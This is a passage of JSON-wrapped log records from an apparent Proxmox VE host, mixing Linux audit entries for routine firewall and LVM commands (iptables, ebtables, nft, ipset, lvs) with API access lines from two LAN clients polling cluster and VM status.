key=\"exec\""} {"@timestamp":1781965725713,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.713:66846): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966319761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965415348,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965415.348:65500): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b990 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62914 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964107955,"@rawstring":"node=pve type=EXECVE msg=audit(1781964107.955:59630): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965478136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965478.136:65785): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955870 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725703,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.703:66845): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966319761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:38 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965414094,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965414.094:65499): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73cbe00 a1=64f8d72e0490 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62913 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964107939,"@rawstring":"node=pve type=EXECVE msg=audit(1781964107.939:59627): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965475478,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.478:65782): arch=c000003e syscall=59 success=yes exit=0 a0=583f5281a0e0 a1=583f52816e60 a2=583f527f8680 a3=5 items=2 ppid=63179 pid=63185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725695,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.695:66843): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966318767,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 460"} {"@timestamp":1781965414073,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965414.073:65498): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417940 a1=64f8d73cac10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62912 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105260,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.260:59624): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965475473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.473:65781): arch=c000003e syscall=59 success=yes exit=0 a0=583f1bc3fac8 a1=7ffdac8556f0 a2=583f527f8680 a3=583f1bc2324e items=2 ppid=63179 pid=63181 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725687,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.687:66842): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966318767,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1127"} {"@timestamp":1781965412918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965412.918:65497): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62909 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105257,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.257:59623): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965475473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.473:65780): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdac8556b0 a1=583f527ff360 a2=583f527f8680 a3=5 items=2 ppid=63179 pid=63180 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725682,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.682:66841): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966317756,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1111"} {"@timestamp":1781965412906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965412.906:65494): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105255,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.255:59622): argc=1 a0=\"date\""} {"@timestamp":1781965475463,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.463:65778): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63179 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725673,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.673:66840): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966317756,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:36 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965407899,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965407.899:65490): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105250,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.250:59620): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965475458,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.458:65777): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63178 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725667,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.667:66839): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966315744,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 476"} {"@timestamp":1781965407893,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965407.893:65487): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62905 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105244,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.244:59619): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965475451,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.451:65776): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63177 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725660,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.660:66838): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966315744,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:34 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965405337,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.337:65484): arch=c000003e syscall=59 success=yes exit=0 a0=5e33a1edfed0 a1=5e33a1edcc50 a2=5e33a1ebe680 a3=5 items=2 ppid=62898 pid=62904 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105238,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.238:59618): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965475443,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.443:65775): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725650,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.650:66837): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966315744,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965405334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.334:65483): arch=c000003e syscall=59 success=yes exit=0 a0=5e339e563ac8 a1=7fff307f6070 a2=5e33a1ebe680 a3=5e339e54724e items=2 ppid=62898 pid=62900 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105231,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.231:59617): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965475437,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.437:65774): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63175 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725641,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.641:66836): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966315744,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:34 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965405332,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.332:65482): arch=c000003e syscall=59 success=yes exit=0 a0=7fff307f6030 a1=5e33a1ec5310 a2=5e33a1ebe680 a3=5 items=2 ppid=62898 pid=62899 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105225,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.225:59616): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965475433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.433:65773): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a2e1f5fb740 items=0 ppid=1156 pid=63174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965725638,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.638:66835): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966314777,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:34 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1131"} {"@timestamp":1781965405328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.328:65480): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62898 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105219,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.219:59614): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965475431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.431:65772): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1012c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725633,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.633:66834): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966314777,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965405320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.320:65479): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62897 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105214,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.214:59613): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965475426,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.426:65771): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13d810 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63173 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725633,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.633:66833): argc=1 a0=\"date\""} {"@timestamp":1781966313534,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:32 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965405314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.314:65478): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105209,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.209:59612): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965475421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.421:65770): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f86d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63172 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725625,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.625:66831): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966313534,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:32 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781965405306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.306:65477): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105203,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.203:59611): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965475415,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.415:65769): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e41a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63171 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725613,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.613:66830): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966311813,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1143"} {"@timestamp":1781965405300,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.300:65476): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62894 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105198,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.198:59610): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965475410,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.410:65768): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f86d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63170 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725605,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.605:66829): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966311813,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965405296,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.296:65475): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5b6366294740 items=0 ppid=1156 pid=62893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964105193,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.193:59609): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965475405,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.405:65767): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae2c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63169 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725593,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.593:66828): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966311813,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:30 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965405294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.294:65474): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139ec0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105185,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.185:59608): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965475399,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.399:65766): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc101350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63168 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725582,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.582:66827): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966311813,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965405290,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.290:65473): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134e30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62892 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105178,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.178:59607): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965475393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.393:65765): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63167 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965725571,"@rawstring":"node=pve type=EXECVE msg=audit(1781965725.571:66826): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966310414,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1143"} {"@timestamp":1781965405285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.285:65472): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc137c90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62891 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105175,"@rawstring":"node=pve type=EXECVE msg=audit(1781964105.175:59606): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965475388,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.388:65764): arch=c000003e syscall=59 success=yes exit=0 a0=5ce030a74d70 a1=5ce030a80b30 a2=5ce030a4e680 a3=5 items=2 ppid=63160 pid=63166 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965724264,"@rawstring":"node=pve type=EXECVE msg=audit(1781965724.264:66825): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966310414,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965405277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.277:65471): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fbf50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62890 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964105171,"@rawstring":"node=pve 